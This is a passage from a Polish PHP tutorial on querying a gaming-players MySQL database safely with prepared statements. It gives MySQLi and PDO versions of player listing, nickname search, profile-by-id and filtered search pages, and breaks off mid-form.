<h2 class="wp-block-heading"><strong>Bezpieczne podejście z prepared statements</strong> &#8211; tak robimy.</h2>



<h3 class="wp-block-heading">Przykład 1: Pobierz wszystkich graczy (prepared statements) &#8211; <strong>MySQLi obiektowo:</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Połączenie z bazą
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die("Błąd połączenia: {$db-&gt;connect_error}");
}

$db-&gt;set_charset('utf8mb4');
echo 'Połączenie nawiązano&lt;br&gt;&lt;br&gt;';

// BEZPIECZNE - Prepared statement
// Dla SELECT * bez parametrów też używamy prepare() (dobra praktyka)
$stmt = $db-&gt;prepare("SELECT * FROM players");
$stmt-&gt;execute();

// Pobranie wyniku
$wynik = $stmt-&gt;get_result();

// Sprawdzamy liczbę rekordów
$ile_wierszy = $wynik-&gt;num_rows;
echo "Znaleziono graczy: &lt;strong&gt;{$ile_wierszy}&lt;/strong&gt;&lt;br&gt;&lt;br&gt;";

// Wyświetlamy w tabeli
echo '&lt;table border="1" cellpadding="10" cellspacing="0"&gt;';
echo '&lt;tr&gt;
        &lt;th&gt;ID&lt;/th&gt;
        &lt;th&gt;Username&lt;/th&gt;
        &lt;th&gt;Level&lt;/th&gt;
        &lt;th&gt;Coins&lt;/th&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Wins/Losses&lt;/th&gt;
      &lt;/tr&gt;';

// Pętla while - pobieramy kolejne rekordy
while ($wiersz = $wynik-&gt;fetch_assoc()) {
    $username = htmlspecialchars($wiersz&#91;'username']);
    $coins = number_format($wiersz&#91;'coins']);
    
    echo "&lt;tr&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'id']}&lt;/td&gt;";
    echo "&lt;td&gt;{$username}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'level']}&lt;/td&gt;";
    echo "&lt;td&gt;{$coins}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'rank_name']}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'wins']}/{$wiersz&#91;'losses']}&lt;/td&gt;";
    echo "&lt;/tr&gt;";
}

echo '&lt;/table&gt;';

// Zamknięcie
$stmt-&gt;close();
$db-&gt;close();
?&gt;</code></pre>



<h3 class="wp-block-heading"><strong>PDO:</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    // Połączenie PDO
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    echo 'Połączenie nawiązano&lt;br&gt;&lt;br&gt;';
    
    // BEZPIECZNE - Prepared statement
    $stmt = $pdo-&gt;prepare("SELECT * FROM players");
    $stmt-&gt;execute();
    
    // Pobranie wszystkich wyników
    $wyniki = $stmt-&gt;fetchAll();
    
    $liczba_graczy = count($wyniki);
    echo "Znaleziono graczy: &lt;strong&gt;{$liczba_graczy}&lt;/strong&gt;&lt;br&gt;&lt;br&gt;";
    
    // Wyświetlanie w tabeli HTML
    echo '&lt;table border="1" cellpadding="10" cellspacing="0"&gt;';
    echo '&lt;tr&gt;
            &lt;th&gt;ID&lt;/th&gt;
            &lt;th&gt;Username&lt;/th&gt;
            &lt;th&gt;Level&lt;/th&gt;
            &lt;th&gt;Coins&lt;/th&gt;
            &lt;th&gt;Rank&lt;/th&gt;
            &lt;th&gt;Games&lt;/th&gt;
            &lt;th&gt;Win Rate&lt;/th&gt;
          &lt;/tr&gt;';
    
    foreach ($wyniki as $wiersz) {
        // Obliczamy Win Rate (procent wygranych)
        $winRate = $wiersz&#91;'games_played'] &gt; 0 
            ? round(($wiersz&#91;'wins'] / $wiersz&#91;'games_played']) * 100, 1) 
            : 0;
        
        $username = htmlspecialchars($wiersz&#91;'username']);
        $coins = number_format($wiersz&#91;'coins']);
        
        echo "&lt;tr&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'id']}&lt;/td&gt;";
        echo "&lt;td&gt;{$username}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'level']}&lt;/td&gt;";
        echo "&lt;td&gt;{$coins}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'rank_name']}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'games_played']}&lt;/td&gt;";
        echo "&lt;td&gt;{$winRate}%&lt;/td&gt;";
        echo "&lt;/tr&gt;";
    }
    
    echo '&lt;/table&gt;';
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

// Zamknięcie połączenia
$pdo = null;
?&gt;</code></pre>



<ul class="wp-block-list">
<li>Używamy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>&nbsp;dla bezpieczeństwa (ochrona przed XSS)</li>



<li>Używamy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">number_format()</code>&nbsp;dla czytelności liczb (1234 → 1,234)</li>



<li>PDO automatycznie zwraca tablice asocjacyjne (ustawiliśmy w opcjach)</li>
</ul>



<h3 class="wp-block-heading">Przykład 2: Wyszukiwanie gracza po nicku (formularz POST) </h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Sprawdzamy czy formularz został wysłany
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $username = trim($_POST&#91;'username'] ?? '');
    
    if (!empty($username)) {
        // BEZPIECZNE - Prepared statement
        $stmt = $db-&gt;prepare("SELECT * FROM players WHERE username = ?");
        
        // Bindowanie parametru (s = string)
        $stmt-&gt;bind_param("s", $username);
        
        // Wykonanie zapytania
        $stmt-&gt;execute();
        
        // Pobranie wyniku
        $wynik = $stmt-&gt;get_result();
        
        if ($gracz = $wynik-&gt;fetch_assoc()) {
            $safe_username = htmlspecialchars($gracz&#91;'username']);
            $safe_email = htmlspecialchars($gracz&#91;'email']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;h2&gt;Profil Gracza&lt;/h2&gt;";
            echo "&lt;strong&gt;{$safe_username}&lt;/strong&gt;&lt;br&gt;";
            echo "Email: {$safe_email}&lt;br&gt;";
            echo "Level: {$gracz&#91;'level']}&lt;br&gt;";
            echo "Rank: {$gracz&#91;'rank_name']}&lt;br&gt;";
            echo "Coins: {$coins}&lt;br&gt;";
            echo "Games: {$gracz&#91;'games_played']} (W: {$gracz&#91;'wins']}, L: {$gracz&#91;'losses']})&lt;br&gt;";
        } else {
            $safe_search = htmlspecialchars($username);
            echo "Nie znaleziono gracza: {$safe_search}";
        }
        
        $stmt-&gt;close();
    } else {
        echo "Wpisz nick gracza!";
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Wyszukaj gracza&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input&#91;type="text"] {
            padding: 10px;
            width: 70%;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Wyszukaj gracza&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" placeholder="Wpisz nick gracza" value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" required&gt;
    &lt;button type="submit" name="szukaj"&gt;Szukaj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">PDO</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // Sprawdzamy czy formularz został wysłany
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $username = trim($_POST&#91;'username'] ?? '');
        
        if (!empty($username)) {
            // BEZPIECZNE - Prepared statement z named parameter
            $stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE username = :username");
            $stmt-&gt;execute(&#91;'username' =&gt; $username]);
            
            $gracz = $stmt-&gt;fetch();
            
            if ($gracz) {
                $safe_username = htmlspecialchars($gracz&#91;'username']);
                $safe_email = htmlspecialchars($gracz&#91;'email']);
                $coins = number_format($gracz&#91;'coins']);
                
                echo "&lt;h2&gt;Profil Gracza&lt;/h2&gt;";
                echo "&lt;strong&gt;{$safe_username}&lt;/strong&gt;&lt;br&gt;";
                echo "Email: {$safe_email}&lt;br&gt;";
                echo "Level: {$gracz&#91;'level']}&lt;br&gt;";
                echo "Rank: {$gracz&#91;'rank_name']}&lt;br&gt;";
                echo "Coins: {$coins}&lt;br&gt;";
                echo "Games: {$gracz&#91;'games_played']} (W: {$gracz&#91;'wins']}, L: {$gracz&#91;'losses']})&lt;br&gt;";
            } else {
                $safe_search = htmlspecialchars($username);
                echo "Nie znaleziono gracza: {$safe_search}";
            }
        } else {
            echo "Wpisz nick gracza!";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Wyszukaj gracza&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input&#91;type="text"] {
            padding: 10px;
            width: 70%;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Wyszukaj gracza&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" placeholder="Wpisz nick gracza" value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" required&gt;
    &lt;button type="submit" name="szukaj"&gt;Szukaj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">SELECT z warunkiem WHERE &#8211; dane z URL ($_GET)</h2>



<h3 class="wp-block-heading">Przykład 3: Profil gracza przez URL (GET)</h3>



<p class="wp-block-paragraph"><strong>Adres URL:</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php?id=5</code>&nbsp;lub&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php?username=ProGamer_Mike</code></p>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// profil.php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'id'])) {
    // Pobieramy ID z URL
    $player_id = (int)$_GET&#91;'id'];
    
    if ($player_id &gt; 0) {
        // BEZPIECZNE - Prepared statement
        $stmt = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
        $stmt-&gt;bind_param("i", $player_id);  // i = integer
        $stmt-&gt;execute();
        
        $wynik = $stmt-&gt;get_result();
        
        if ($gracz = $wynik-&gt;fetch_assoc()) {
            $username = htmlspecialchars($gracz&#91;'username']);
            $email = htmlspecialchars($gracz&#91;'email']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;h1&gt;Profil gracza&lt;/h1&gt;";
            echo "&lt;div style='background:#f4f4f4; padding:20px; border-radius:8px;'&gt;";
            echo "&lt;h2&gt;{$username}&lt;/h2&gt;";
            echo "&lt;p&gt;Email: {$email}&lt;/p&gt;";
            echo "&lt;p&gt;Level: &lt;strong&gt;{$gracz&#91;'level']}&lt;/strong&gt;&lt;/p&gt;";
            echo "&lt;p&gt;Rank: &lt;strong&gt;{$gracz&#91;'rank_name']}&lt;/strong&gt;&lt;/p&gt;";
            echo "&lt;p&gt;Coins: &lt;strong&gt;{$coins}&lt;/strong&gt;&lt;/p&gt;";
            echo "&lt;p&gt;Rozegrane gry: {$gracz&#91;'games_played']}&lt;/p&gt;";
            echo "&lt;p&gt;Wygrane: {$gracz&#91;'wins']}&lt;/p&gt;";
            echo "&lt;p&gt;Przegrane: {$gracz&#91;'losses']}&lt;/p&gt;";
            
            // Win Rate
            $winRate = $gracz&#91;'games_played'] &gt; 0 
                ? round(($gracz&#91;'wins'] / $gracz&#91;'games_played']) * 100, 1) 
                : 0;
            echo "&lt;p&gt;Win Rate: &lt;strong&gt;{$winRate}%&lt;/strong&gt;&lt;/p&gt;";
            echo "&lt;/div&gt;";
        } else {
            echo "Nie znaleziono gracza o ID: {$player_id}";
        }
        
        $stmt-&gt;close();
    } else {
        echo "Nieprawidłowe ID gracza";
    }
} else {
    echo "Podaj ID gracza w URL (np. profil.php?id=5)";
}

$db-&gt;close();

// Lista linków do innych graczy
echo "&lt;br&gt;&lt;hr&gt;&lt;h3&gt;Inni gracze:&lt;/h3&gt;";
echo "&lt;a href='profil.php?id=1'&gt;Gracz #1&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=2'&gt;Gracz #2&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=3'&gt;Gracz #3&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=7'&gt;Gracz #7&lt;/a&gt;";
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// profil.php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // sprawdzamy metodę HTTP i parametr
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'id'])) {
        // Pobieramy ID z URL
        $player_id = (int)$_GET&#91;'id'];
        
        if ($player_id &gt; 0) {
            // BEZPIECZNE - Prepared statement
            $stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE id = :id");
            $stmt-&gt;execute(&#91;'id' =&gt; $player_id]);
            
            $gracz = $stmt-&gt;fetch();
            
            if ($gracz) {
                $username = htmlspecialchars($gracz&#91;'username']);
                $email = htmlspecialchars($gracz&#91;'email']);
                $coins = number_format($gracz&#91;'coins']);
                
                echo "&lt;h1&gt;Profil gracza&lt;/h1&gt;";
                echo "&lt;div style='background:#f4f4f4; padding:20px; border-radius:8px;'&gt;";
                echo "&lt;h2&gt;{$username}&lt;/h2&gt;";
                echo "&lt;p&gt;Email: {$email}&lt;/p&gt;";
                echo "&lt;p&gt;Level: &lt;strong&gt;{$gracz&#91;'level']}&lt;/strong&gt;&lt;/p&gt;";
                echo "&lt;p&gt;Rank: &lt;strong&gt;{$gracz&#91;'rank_name']}&lt;/strong&gt;&lt;/p&gt;";
                echo "&lt;p&gt;Coins: &lt;strong&gt;{$coins}&lt;/strong&gt;&lt;/p&gt;";
                echo "&lt;p&gt;Rozegrane gry: {$gracz&#91;'games_played']}&lt;/p&gt;";
                echo "&lt;p&gt;Wygrane: {$gracz&#91;'wins']}&lt;/p&gt;";
                echo "&lt;p&gt;Przegrane: {$gracz&#91;'losses']}&lt;/p&gt;";
                
                // Win Rate
                $winRate = $gracz&#91;'games_played'] &gt; 0 
                    ? round(($gracz&#91;'wins'] / $gracz&#91;'games_played']) * 100, 1) 
                    : 0;
                echo "&lt;p&gt;Win Rate: &lt;strong&gt;{$winRate}%&lt;/strong&gt;&lt;/p&gt;";
                echo "&lt;/div&gt;";
            } else {
                echo "Nie znaleziono gracza o ID: {$player_id}";
            }
        } else {
            echo "Nieprawidłowe ID gracza";
        }
    } else {
        echo "Podaj ID gracza w URL (np. profil.php?id=5)";
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;

// Lista linków do innych graczy
echo "&lt;br&gt;&lt;hr&gt;&lt;h3&gt;Inni gracze:&lt;/h3&gt;";
echo "&lt;a href='profil.php?id=1'&gt;Gracz #1&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=2'&gt;Gracz #2&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=3'&gt;Gracz #3&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=7'&gt;Gracz #7&lt;/a&gt;";
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 4: Wyszukiwarka z wieloma filtrami (formularz POST)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $username = trim($_POST&#91;'username'] ?? '');
    $rank = $_POST&#91;'rank'] ?? '';
    $min_level = (int)($_POST&#91;'min_level'] ?? 0);
    
    // Budujemy zapytanie dynamicznie (BEZPIECZNIE!)
    $sql = "SELECT * FROM players WHERE 1=1";
    $types = "";
    $params = &#91;];
    
    if (!empty($username)) {
        $sql .= " AND username LIKE ?";
        $types .= "s";
        $params&#91;] = "%{$username}%";
    }
    
    if (!empty($rank)) {
        $sql .= " AND rank_name = ?";
        $types .= "s";
        $params&#91;] = $rank;
    }
    
    if ($min_level &gt; 0) {
        $sql .= " AND level &gt;= ?";
        $types .= "i";
        $params&#91;] = $min_level;
    }
    
    $sql .= " ORDER BY level DESC";
    
    // Przygotowanie i wykonanie zapytania
    $stmt = $db-&gt;prepare($sql);
    
    if (!empty($params)) {
        $stmt-&gt;bind_param($types, ...$params);
    }
    
    $stmt-&gt;execute();
    $wynik = $stmt-&gt;get_result();
    
    // Wyświetlamy wyniki
    if ($wynik-&gt;num_rows &gt; 0) {
        echo "&lt;h3&gt;Znaleziono: {$wynik-&gt;num_rows} graczy&lt;/h3&gt;";
        
        echo '&lt;table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;"&gt;';
        echo '&lt;tr style="background:#007bff; color:white;"&gt;
                &lt;th&gt;Username&lt;/th&gt;
                &lt;th&gt;Level&lt;/th&gt;
                &lt;th&gt;Rank&lt;/th&gt;
                &lt;th&gt;Coins&lt;/th&gt;
                &lt;th&gt;Games&lt;/th&gt;
              &lt;/tr&gt;';
        
        while ($gracz = $wynik-&gt;fetch_assoc()) {
            $safe_username = htmlspecialchars($gracz&#91;'username']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;tr&gt;";
            echo "&lt;td&gt;{$safe_username}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'level']}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'rank_name']}&lt;/td&gt;";
            echo "&lt;td&gt;{$coins}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'games_played']}&lt;/td&gt;";
            echo "&lt;/tr&gt;";
        }
        
        echo '&lt;/table&gt;';
    } else {
        echo "&lt;p&gt;Nie znaleziono graczy spełniających kryteria&lt;/p&gt;";
    }
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Wyszukiwarka graczy&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 1000px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input, select {
            padding: 10px;
            margin: 5px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        tr:hover {
            background: #f5f5f5;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Wyszukiwarka Graczy&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" placeholder="Nick gracza (fragment)" value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;"&gt;
    
    &lt;select name="rank"&gt;
        &lt;option value=""&gt;Wszystkie rangi&lt;/option&gt;
        &lt;option value="Bronze" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Bronze' ? 'selected' : '' ?&gt;&gt;Bronze&lt;/option&gt;
        &lt;option value="Silver" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Silver' ? 'selected' : '' ?&gt;&gt;Silver&lt;/option&gt;
        &lt;option value="Gold" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Gold' ? 'selected' : '' ?&gt;&gt;Gold&lt;/option&gt;
        &lt;option value="Platinum" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Platinum' ? 'selected' : '' ?&gt;&gt;Platinum&lt;/option&gt;
        &lt;option value="Diamond" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Diamond' ? 'selected' : '' ?&gt;&gt;Diamond&lt;/option&gt;
        &lt;option value="Master" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Master' ? 'selected' : '' ?&gt;&gt;Master&lt;/option&gt;
        &lt;option value="Grandmaster" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Grandmaster' ? 'selected' : '' ?&gt;&gt;Grandmaster&lt;/option&gt;
    &lt;/select&gt;
    
    &lt;input type="number" name="min_level" placeholder="Min. poziom" min="1" value="&lt;?= htmlspecialchars($_POST&#91;'min_level'] ?? '') ?&gt;"&gt;
    
    &lt;button type="submit" name="szukaj"&gt;Szukaj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $username = trim($_POST&#91;'username'] ?? '');
        $rank = $_POST&#91;'rank'] ?? '';
        $min_level = (int)($_POST&#91;'min_level'] ?? 0);
        
        // Budujemy zapytanie dynamicznie (BEZPIECZNIE!)
        $sql = "SELECT * FROM players WHERE 1=1";
        $params = &#91;];
        
        if (!empty($username)) {
            $sql .= " AND username LIKE :username";
            $params&#91;'username'] = "%{$username}%";
        }
        
        if (!empty($rank)) {
            $sql .= " AND rank_name = :rank";
            $params&#91;'rank'] = $rank;
        }
        
        if ($min_level &gt; 0) {
            $sql .= " AND level &gt;= :min_level";
            $params&#91;'min_level'] = $min_level;
        }
        
        $sql .= " ORDER BY level DESC";
        
        // Wykonujemy zapytanie
        $stmt = $pdo-&gt;prepare($sql);
        $stmt-&gt;execute($params);
        $wyniki = $stmt-&gt;fetchAll();
        
        // Wyświetlamy wyniki
        $liczba = count($wyniki);
        if ($liczba &gt; 0) {
            echo "&lt;h3&gt;Znaleziono: {$liczba} graczy&lt;/h3&gt;";
            
            echo '&lt;table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;"&gt;';
            echo '&lt;tr style="background:#007bff; color:white;"&gt;
                    &lt;th&gt;Username&lt;/th&gt;
                    &lt;th&gt;Level&lt;/th&gt;
                    &lt;th&gt;Rank&lt;/th&gt;
                    &lt;th&gt;Coins&lt;/th&gt;
                    &lt;th&gt;Games&lt;/th&gt;
                  &lt;/tr&gt;';
            
            foreach ($wyniki as $gracz) {
                $safe_username = htmlspecialchars($gracz&#91;'username']);
                $coins = number_format($gracz&#91;'coins']);
                
                echo "&lt;tr&gt;";
                echo "&lt;td&gt;{$safe_username}&lt;/td&gt;";
                echo "&lt;td&gt;{$gracz&#91;'level']}&lt;/td&gt;";
                echo "&lt;td&gt;{$gracz&#91;'rank_name']}&lt;/td&gt;";
                echo "&lt;td&gt;{$coins}&lt;/td&gt;";
                echo "&lt;td&gt;{$gracz&#91;'games_played']}&lt;/td&gt;";
                echo "&lt;/tr&gt;";
            }
            
            echo '&lt;/table&gt;';
        } else {
            echo "&lt;p&gt;Nie znaleziono graczy spełniających kryteria&lt;/p&gt;";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Wyszukiwarka graczy&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 1000px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input, select {
            padding: 10px;
            margin: 5px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        tr:hover {
            background: #f5f5f5;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Wyszukiwarka Graczy&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" placeholder="Nick gracza (fragment)" value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;"&gt;
    
    &lt;select name="rank"&gt;
        &lt;option value=""&gt;Wszystkie rangi&lt;/option&gt;
        &lt;option value="Bronze" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Bronze' ? 'selected' : '' ?&gt;&gt;Bronze&lt;/option&gt;
        &lt;option value="Silver" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Silver' ? 'selected' : '' ?&gt;&gt;Silver&lt;/option&gt;
        &lt;option value="Gold" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Gold' ? 'selected' : '' ?&gt;&gt;Gold&lt;/option&gt;
        &lt;option value="Platinum" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Platinum' ? 'selected' : '' ?&gt;&gt;Platinum&lt;/option&gt;
        &lt;option value="Diamond" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Diamond' ? 'selected' : '' ?&gt;&gt;Diamond&lt;/option&gt;
        &lt;option value="Master" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Master' ? 'selected' : '' ?&gt;&gt;Master&lt;/option&gt;
        &lt;option value="Grandmaster" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Grandmaster' ? 'selected' : '' ?&gt;&gt;Grandmaster&lt;/option&gt;
    &lt;/select&gt;
    
